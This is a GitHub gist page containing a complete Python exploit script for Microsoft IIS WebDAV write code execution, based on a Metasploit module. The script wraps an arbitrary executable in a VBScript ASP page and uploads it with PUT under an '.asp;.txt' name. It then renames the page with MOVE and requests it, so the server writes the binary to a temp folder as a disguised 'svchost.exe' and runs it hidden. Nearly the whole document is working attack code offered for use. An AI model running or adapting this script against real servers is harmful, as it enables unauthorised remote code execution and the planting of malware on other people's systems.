-
-
Save s3rgeym/78ff1b2823a3f3662f470df49dc74356 to your computer and use it in GitHub Desktop.
Microsoft IIS WebDAV Write Code Execution exploit (based on Metasploit HDM's <iis_webdav_upload_asp> implementation)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import requests | |
import string | |
import random | |
import sys | |
def randstring(N = 6): | |
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N)) | |
if __name__ == '__main__': | |
if len(sys.argv) != 3: | |
print 'Usage: webdav_upload.py <host> <inputfile>' | |
sys.exit(0) | |
sc = '' | |
with open(sys.argv[2], 'rb') as f: | |
bytes = f.read() | |
sc = 'sc = Chr(%d)' % ord(bytes[0]) | |
for i in range(1, len(bytes)): | |
if i % 100 == 0: | |
sc += '\r\nsc = sc' | |
sc += '&Chr(%d)' % ord(bytes[i]) | |
put_request = '''<%% @language="VBScript" %%> | |
<%% | |
Sub webdav_upload() | |
Dim fs | |
Set fs = CreateObject("Scripting.FileSystemObject") | |
Dim str | |
Dim tmp | |
Dim tmpexe | |
Dim sc | |
%(shellcode)s | |
Dim base | |
Set tmp = fs.GetSpecialFolder(2) | |
base = tmp & "\" & fs.GetTempName() | |
fs.CreateFolder(base) | |
tmpexe = base & "\" & "svchost.exe" | |
Set str = fs.CreateTextFile(tmpexe, 2, 0) | |
str.Write sc | |
str.Close | |
Dim shell | |
Set shell = CreateObject("Wscript.Shell") | |
shell.run tmpexe, 0, false | |
End Sub | |
webdav_upload | |
%%>''' % {'shellcode' : sc} | |
print '\n\tMicrosoft IIS WebDAV Write Code Execution exploit' | |
print '\t(based on Metasploit HDM\'s <iis_webdav_upload_asp> implementation)' | |
print '\tMariusz B. / mgeeky, 2016\n' | |
host = sys.argv[1] | |
if not host.startswith('http'): | |
host = 'http://' + host | |
outname = '/file' + randstring(6) + '.asp;.txt' | |
print 'Step 0: Checking if file already exist: "%s"' % (host + outname) | |
r = requests.get(host + outname) | |
if r.status_code == requests.codes.ok: | |
print 'Resource already exists. Exiting...' | |
sys.exit(1) | |
else: | |
print '[*] File does not exists. That\'s good.' | |
print '\nStep 1: Upload file with improper name: "%s"' % (host + outname) | |
print '\tSending %d bytes, this will take a while. Hold tight Captain!' % len(put_request) | |
r = requests.request('put', host + outname, data=put_request, headers={'Content-Type':'application/octet-stream'}) | |
if r.status_code < 200 or r.status_code >= 300: | |
print '[!] Upload failed. Status: ' + str(r.status_code) | |
sys.exit(1) | |
else: | |
print '[+] File uploaded.' | |
newname = outname.replace(';.txt', '') | |
print '\nStep 2: Moving file from: "%s" to "%s"' % (outname, newname) | |
r = requests.request('move', host + outname, headers={'Destination':newname}) | |
if r.status_code < 200 or r.status_code >= 300: | |
print '[!] Renaming operation failed. Status: ' + str(r.status_code) | |
sys.exit(1) | |
else: | |
print '[+] File renamed, splendid my lord.' | |
print '\nStep 3: Executing resulted payload file (%s).' % (host + newname) | |
r = requests.get(host + newname) | |
if r.status_code < 200 or r.status_code >= 300: | |
print '[!] Execution failed. Status: ' + str(r.status_code) | |
print '[!] Response: ' + r.text | |
sys.exit(1) | |
else: | |
print '[+] File has been launched. Game over.' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment